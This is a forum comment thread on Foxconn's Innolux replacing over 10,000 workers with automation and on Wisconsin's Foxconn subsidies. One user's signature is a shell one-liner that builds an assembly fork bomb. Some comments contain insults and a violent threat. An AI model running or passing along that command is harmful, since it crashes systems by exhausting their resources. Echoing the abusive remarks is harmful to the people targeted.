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Foxconn Unit To Cut Over 10,000 Jobs As Robotics Take Over (nikkei.com)
According to Nikkei Asian Review, "Foxconn's panel arm Innolux is planning to slash more than 10,000 jobs this year as part of the company's aggressive efforts to increase the use of automation in manufacturing." Honorary Chairman Tuan Hsing-Chien said in a press conference on Tuesday: "We will reduce our total workforce to less than 50,000 people by the end of this year, from some 60,000 staff at the end of 2017." From the report: Innolux is a liquid crystal display-making affiliate of major iPhone assembler Hon Hai Precision Industry, better known as Foxconn Technology Group. Tuan is also a technology adviser to Foxconn, Sharp and Innolux. Tuan said up to 75% of production will be fully automated by the end of 2018. Most of Innolux's factories are in Taiwan. Tuan's pledge came a few days after Foxconn Chairman Terry Gou said the company would pour in some $342 million to overhaul its manufacturing process by using artificial intelligence.
. . . until they could perfect a robot that could commit suicide due to poor working conditions.
https://www.salon.com/2018/02/...
You're using some lovely RIAA math there, sport.
Wisconsin is paying nothing by offering tax breaks and tax credits for a company that otherwise would not even be setting up shop in Wisconsin.
Wisconsin is paying nothing for maintenance of the roads and public utilities that the factory is using? There is no other business that could possibly set up in these facilities? Are you saying that the people of Wisconsin are too stupid to find a use for the facility on their own?
You're using some lovely RIAA math there, sport.
Wisconsin is paying nothing by offering tax breaks and tax credits for a company that otherwise would not even be setting up shop in Wisconsin.
You seem to assume that a government wouldn't be that stupid and corrupt, but you're totally wrong.
To lure Foxconn Technology Group to Wisconsin, state residents will have to do more than just forgo taxes from the Taiwanese electronics giant. They will have to pay cash — writing checks for up to $200 million a year.
And because Wisconsin already waives almost all taxes on manufacturing profits in the state, these incentives represent not a lost opportunity at collecting revenue but an obligation to pay cash to Foxconn out of the state treasury for up to 15 years. When including a $150 million sales tax break for buying construction material, the incentive package could total up to $3 billion, according to the bill that lawmakers could vote on as soon as Tuesday.
and a wall to keep the packers out of IL
Wow, I didn't realize the drivers of the vehicles going to that factory were exempt from paying gas taxes! I didn't realize that the factory gets its water, power, sewer and trash services for free! Awesome!
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
They already cut the workforce from 110,000 to 50,000.
Somehow, when it is cheaper to replace Chinese workers with robots, those manufacturing jobs will come back to the US...
Now they won't have to work in those "sweat shops," right? They'll be so much better off unemployed than having that "sweat shop" job.
FoxCONN (as it was a CON) bringing in the big new Diplay factory to Mount Pleasent, WI promising 30,000 jobs - yeah for ROBOTS! Foxconn even bought the old Northwest mutual building in Milwaukee to make it their North American Headquarters.
A bunch of property owners are SUING over the use of "eminent domain" to take their land for the foxconn plant. Boy is Good old Scott Walker FUCKING the people of WI with this one!
The Truth is a Virus!!!
The good news is that the replacements will have higher wages and better living conditions.
They'll be so much better off unemployed than having that "sweat shop" job.
It is unlikely anyone will be unemployed. Most of these robots are going into areas where labor costs are highest, which means the areas around Shenzhen. There are plenty of other jobs in that area. Nearly every business is looking for workers.
The headline and summary are misleading. What they describe as "job cuts" and "slashing" are really Foxconn dealing with hiring shortfalls. The one child policy started in 1979 and became more strictly enforced in the 1980s. Workers born in the "bulge" generation before that are no longer interested in working on factory floors, and there just aren't enough young people to replace them.
There are three solutions:
1. Move manufacturing further inland or to other countries (such as Vietnam), where supply chains will have to be rebuilt, and new workers trained.
2. Raise wages to draw more workers off the farms.
3. Use robots.
From a business perspective, #3 is the best choice.
Wisconsin is paying nothing by offering tax breaks and tax credits for a company that otherwise would not even be setting up shop in Wisconsin.
If no subsidies were offered, the jobs would still go somewhere (possibly Wisconsin), so by offering tax breaks Wisconsin is depriving some state of tax revenue, and, meanwhile, another state is offering tax breaks that is depriving Wisconsin of revenue. Meanwhile, businesses are locating to optimize their tax breaks, rather than where it actually makes the most sense for reasons of skill availability, resources, and logistics.
These tax incentives are a Prisoner's dilemma. Each state does it because the other states do it, yet they would all be better off if no one did it. It would be a beneficial and legitimate use of the Commerce Clause for the federal government to just ban this economically damaging activity. It would be better and more fair for both states and businesses.
I will out-obtuse your obtuse by saying,
Wow, I didn't know that state laws could preempt federal fuel taxes!
moox. for a new generation.
Which just about guarantees that it will never be used by the federal government in this way. They care nothing about "better" or "fair."
We will reduce our total workforce to less than 50,000 people by the end of this year, from some 60,000 staff at the end of 2017.
That's outrageous! People really need to contact them and let them know what they think about this statement. It's not less than 50,000 people. It's fewer than 50,000 people.
~Loyal
I aim to misbehave.
....a German union responded to increasing automation by striking for a 28 hour work week with a pay increase....and they won.
factory that is supposed to be built in Wisconsin. Our brilliant governor gave them 3 billion dollars in incentives to build the factory because they promised "as amny as" 13k jobs would be created. I guess they didn't specify that they'd be jobs for humans...
Thank you. I had never thought of tax breaks as a prisoner's dilemma, but it's completely obvious in hindsight. I learned more from your two paragraphs than everything else I've read today. Had I upvotes, you would have them.
"I will trust Google to 'do no evil' until the founders no longer run it." Hello Alphabet.
"From a business perspective, #3 is the best choice."
It does look nice if you don't know what's involved. It's not so great when you actually try to implement robots and automation. It requires a lot of good involved key technical people and lots of patience. There are quite a lot of pitfalls, lots of headaches, things not working, lots of planning, lots of engineering involved and a lot of innovation involved. If you can't keep these people around, your robots might as well be expensive paper weights.
I run into a lot of plant owners around me who think automation allows them to get rid of all their expensive employees, but it's actually the inverse. You end up getting rid of your cheap labor for highly paid skilled positions. To me it's a great thing, it's actually overall cheaper for me with better paid employees who care and knowing things get done without me having to worry or be stressed out. But there are a lot of managers and owners who don't see that at all and expect automation to replace their expensive maintenance people and engineers. They buy these expensive automated machines and expect Juan on minimum wage to be able to figure out how to run it, fix it, troubleshoot it, and also at the same time expect Juan to be QC. Then they cry and wonder how it turned into a disaster.
Lick those boots!
American businesses chose cheap labor in the 90s, in spite of the availability of robots, so, why pursue robots now, instead of more cheap labor?
Because the 90s were 20 years ago, and robots today are way better.
lol You are an idiot. Shenzhen is in China. This news is happening in Taiwan. How did you even get Shenzhen when it's not mentioned anywhere?? The subtitle is 'Taiwan's Innolux upbeat on mini LED display that can be used in cars'. How in the world do you miss that? God, you are probably American too. We are so fucked if this is the level of reading comprehension in this country.
Foxconn is a Taiwanese company to be sure but it operates factories in mainland China. One of those factories is a flat-panel display factory in Shenzhen, China. He probably assumed that Foxconn is making these panels there which is not an unreasonable assumption. Myself, I have no idea where these panels are being made, it could be that Foxconn also has a flat-panel factory in Taiwan so this is my first and last contribution to this flame war.
You're using some lovely RIAA math there, sport.
Wisconsin is paying nothing by offering tax breaks and tax credits for a company that otherwise would not even be setting up shop in Wisconsin.
You seem to assume that a government wouldn't be that stupid and corrupt, but you're totally wrong.
To lure Foxconn Technology Group to Wisconsin, state residents will have to do more than just forgo taxes from the Taiwanese electronics giant. They will have to pay cash — writing checks for up to $200 million a year.
And because Wisconsin already waives almost all taxes on manufacturing profits in the state, these incentives represent not a lost opportunity at collecting revenue but an obligation to pay cash to Foxconn out of the state treasury for up to 15 years. When including a $150 million sales tax break for buying construction material, the incentive package could total up to $3 billion, according to the bill that lawmakers could vote on as soon as Tuesday.
Don't worry Wisconsin is a Republican controlled state. As we all now Republicans are the party of low taxes, small government and restraint in state expenditure. We can therefore rely upon them to vote no to this vast expenditure of money from the state treasury on the grounds that it makes no sense from a business point of view, that it is an intolerable government interference in the workings of the free market and that it is not in harmony with their long treasured Republican ideals of small government and limiting expenditure from the state treasury. Sir, you may rely upon the Republicans to be the voice of reason in this matter.
Not really a prosoners dilemma. The states are able to talk to rach other. Sure, that makes it worse.
Several years ago in Belgium Renault closed their doors, while theu opened a new one in Spain with subsidies. That would mean that Spain was paying for people to get fired.
So they withdrew the subsidies. That was because they where able to talk.
It also did not help Renault that their excuse of closing was overproduction if you open a new factory elsewhere.
Don't fight for your country, if your country does not fight for you.
Don't worry Wisconsin is a Republican controlled state. As we all now Republicans are the party of low taxes, small government and restraint in state expenditure. We can therefore rely upon them to vote no to this vast expenditure of money from the state treasury on the grounds that it makes no sense from a business point of view, that it is an intolerable government interference in the workings of the free market and that it is not in harmony with their long treasured Republican ideals of small government and limiting expenditure from the state treasury. Sir, you may rely upon the Republicans to be the voice of reason in this matter.
There are different factions in the GOP. The one that believes in free trade and no subsidies has essentially lost out to a populist wing which wants to use tax and tariff policy to bring jobs back.
Will it work? Well it did for Apple - they were forced to pay US taxes on their offshore cash which convinced them to bring it onshore and invest it.
https://www.bloomberg.com/news...
A mix of tighter controls on immigration, higher tariffs on imports, lower taxes on US companies and higher taxes on US companies overseas operations in low or no tax jurisdictions is being pursued. It's completely the opposite of the free market approach where you have open borders and low tariffs. Both sides aimed at having lower taxes. Trump cut corporate taxes massively and most individual taxes but not by as much as most Republicans would have wanted. That's because the plan had to be revenue neutral so it could be pushed through under reconciliation rules.
Still there have been studies that show that reducing corporate tax rates increase growth. E.g. this one of Canadian provincial governments
https://ntanet.org/NTJ/65/3/nt...
We examine the impact of the Canadian provincial governments' tax rates on economic growth using panel data covering the period 1977-2006. We fi nd that a higher provincial statutory corporate income tax rate is associated with lower private investment and slower economic growth. Our empirical estimates suggest that a 1 percentage point cut in the corporate tax rate is related to a 0.1-0.2 percentage point increase in the annual growth rate.
I.e. what Trump is doing is pretty different from standard small government Republican policy.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Because robots provide a much higher consistent product, can do it much faster, can work 24/7 without having to change shifts, no need to take any safety procaution, so can actually do it's work in a much smaller room (so more lines could be stacked upon each other in one room), and are less prone to 'sickness' as a human (with that I mean, they break down less than a human). So there are so many reasons why it's better to use a robot.. Also robots have become much better and much cheaper the last couple of years.
If these jobs are so horrible that workers at Foxconn factories are committing suicide ...
They aren't. A few Foxconn employees have offed themselves over the years, but with over a million employees, that is a statistical certainty. Foxconn employees are actually less likely to kill themselves than the average in China for people of their age and gender.
I.e. what Trump is doing is pretty different from standard small government Republican policy.
There is no such thing. They talk a lot about small government, but then they get themselves a lot of pork projects so that they can transfer money from profitable blue states into their flyover shitholes.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Y'all got a problem with capitalism? May I suggest you move to live in a more 'fair' country like China. Wisconsin is getting more jobs, I see that as a good thing.
America's middle class is shrinking, China's middle class is growing....
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Come next election you'll be whining about 'how could people in those flyover shitholes not vote for the party I told them to. It must because they're dumb racistsexisttransphobic hicks'.
It's not about what I tell them. It's about their own best interests. Trump is harming them more than Clinton would have, but...
...Or complaining about how Trump called Haiti a shithole.
Yeah, see, Trump is the candidate of the flyover states. And Trump has established that it's okay to call places shitholes. They have consented to being called shitholes by proxy, through their choice of president.
Poor conservatives cut off their face to spite their face and now they're complaining that people are screaming in horror at their appearance. Fuck 'em. They've proven that they would rather shit all over America than see the "other" "team" "win".
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Not only are they better today but also more widely dispersed, as well as increased availability.
i thought once I was found, but it was only a dream.
Foxconn employees are actually less likely to kill themselves than the average in China for people of their age and gender.
If Foxconn factories are so terrible because of the suicides, then the American universities campuses must literally be hell.
Facts get in the way of the evil Foxconn suicide narrative.
"His name was James Damore."
Don't take this the wrong way, but I would like to knock your fucking teeth down your throat, you elitist shitbag.
That's because you're as inbred as the British monarchy, but not as well-educated.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
I get scoffed at regularly when talking about the negative tax-rate multinationals, but it happens way more often than most anyone thinks. Guaranteed tax refunds mean that a lot of companies, like GE and Boeing, are actually getting paid to work in the US and it's a matter of public record.
This would only mean something if Trumpists DIDN'T have contempt for working people.
Like I said, you are an elitist shitbag.
Do I think I'm better than people who get violent when they're confronted with their failures? Yes. Yes I do. And if you don't like it, you can shake your tiny fist in incoherent red state rage.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Corporate taxes for the US were amongst the highest in the G20. At least from an objective report based on the tax returns of companies around the world. Unless the tax returns are wrong, or the CBO is wrong...
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
Well, the GP said there was a concern that taxes would not be paid to maintain the roads - but those taxes tend to come from gas/fuel taxes collected, and that would be from the workers (factories don't move that much). Likewise public utilities - I was not aware the WI deal gave them free power, water, sewer, trash service. If the company pays for those utilities, and workers do not get fuel tax-free - then I don't see how those concerns are ignored...
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
Reduced production costs mean more goods are produced cheaper. More goods produced cheaper means those items can be sold for less and used to create jobs. If Henry Ford had decided not to use automation less cars would have been made and while he may have had more workers fewer people would have been able to buy the cars because they would have been more expensive. The low cost of automobiles have made product delivery cheap and accessible.
Automation has created more jobs than it has "taken away" .. if automation only takes jobs, how do we have more employed people in the world today than 100 years ago when women didn't even work. The workforce has increased even though manufacturing uses automation.
The more low cost products we have the more services and things around that product will be needed. If more people have smartphones more people will be needed for everything from setting up cell phone towers to making cat videos.
For every person losing their job assembling iPhones, there will be two new jobs for people making content for smartphones.
Wisconsin is paying nothing...
From this:
So it the automation shows up but the jobs don't then some of Foxconn's tax breaks disappear. On the other hand, the fixed costs to the state and fed remain.
The Russians have won. They have made the world a cesspool of distrust, greed, fear and hate.
what about the Vikings, Lions, or da Bears.
as do the suicide nets!
The suicide nets were a PR response to pressure from the media to "do something" about a problem that didn't actually exist.
This is good news, because 10,000 people will no longer be exploited by Foxconn. Right? That is how it works, no?
There's no time like the present. Well, the past used to be.